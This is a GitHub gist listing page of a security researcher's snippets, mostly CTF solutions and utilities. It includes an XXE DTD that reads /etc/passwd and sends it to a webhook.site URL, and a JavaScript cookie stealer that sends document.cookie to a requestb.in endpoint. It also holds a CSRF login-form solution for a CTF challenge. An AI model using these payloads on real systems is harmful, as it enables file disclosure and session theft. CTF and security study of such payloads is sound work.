Skip to content

Instantly share code, notes, and snippets.

View arxenix's full-sized avatar

Ankur Sundara arxenix

View GitHub Profile
@arxenix
arxenix / export-ctftime.py
Created August 1, 2022 21:37
generate ctftime scoreboard json from ctfd api
import requests
from datetime import datetime
import json
from tqdm import tqdm
import sys
out = sys.argv[1]
URL = "https://2022.uiuc.tf"
MIN_SCORE = 0 # filter out scores at or below this value
@arxenix
arxenix / styleme.html
Created August 22, 2021 22:57
corCTF'21 styleme solution
<!DOCTYPE html>
<html lang="en">
<head>
<title>corCTF styleme solution</title>
</head>
<body>
<form id="form" method="POST" action="http://chall/api/login">
<input id="user" type="text" name="user" value="testu123" />
<input id="pass" type="text" name="pass" value="testp123" />
</form>
@arxenix
arxenix / cool.py
Last active July 12, 2021 19:30
redpwn 2021 mini web solutions
import requests
import random
allowed_characters = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'
)
def gen_username():
return ''.join(
random.choice(list(allowed_characters)) for _ in range(10)
)
@arxenix
arxenix / openai_shell.py
Created May 19, 2021 22:15
get openai to generate shell commands 4 u :)
#!/usr/bin/env python3
import sys
import openai
import os
import time
import threading
import itertools
from colorama import Fore as C, Style as S, init as cinit
cinit()
@arxenix
arxenix / workshop.json
Last active June 13, 2023 00:51
Overwatch workshop documentation
{
"actions": [
{
"name": "ABORT",
"description": "Stops execution of the action list.",
"args": []
},
{
"name": "ABORT IF",
"description": "Stops execution of the action list if this action's condition evaluates to true. If it does not, execution continues with the next action.",
@arxenix
arxenix / xxe.dtd
Last active January 27, 2019 01:55
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'https://webhook.site/06771a6b-5d54-476f-954a-26ee6c0f4407/?%file;'>">
%all;
@arxenix
arxenix / keybase.md
Created March 30, 2018 01:34
Keybase Verification

Keybase proof

I hereby claim:

  • I am arxenix on github.
  • I am arxenix (https://keybase.io/arxenix) on keybase.
  • I have a public key whose fingerprint is 582C 2575 C44B 9523 23E4 0EDB 07ED 8E52 121A BEF3

To claim this, I am signing this object:

var cookie = btoa(document.cookie);
var img = document.createElement("img");
img.src = "https://requestb.in/qeqiheqe/"+cookie;
@arxenix
arxenix / OTP.java
Created September 14, 2016 21:50
One Time Pad
import java.io.File;
import java.io.FileNotFoundException;
import java.util.Base64;
import java.util.Random;
import java.util.Scanner;
public class OTP {
public static void main(String[] args) throws FileNotFoundException {
File flag = new File("flag.txt");
@arxenix
arxenix / solves.txt
Last active July 22, 2016 17:07
ABCTF Solve Counts
Caesar Salad:685
Elemental:703
The Flash:505
Just open it:545
Archive Me:360
Chocolate:440
Drive Home:378
Best Ganondorf:170
Get 'Em All:304
Always So Itchy:218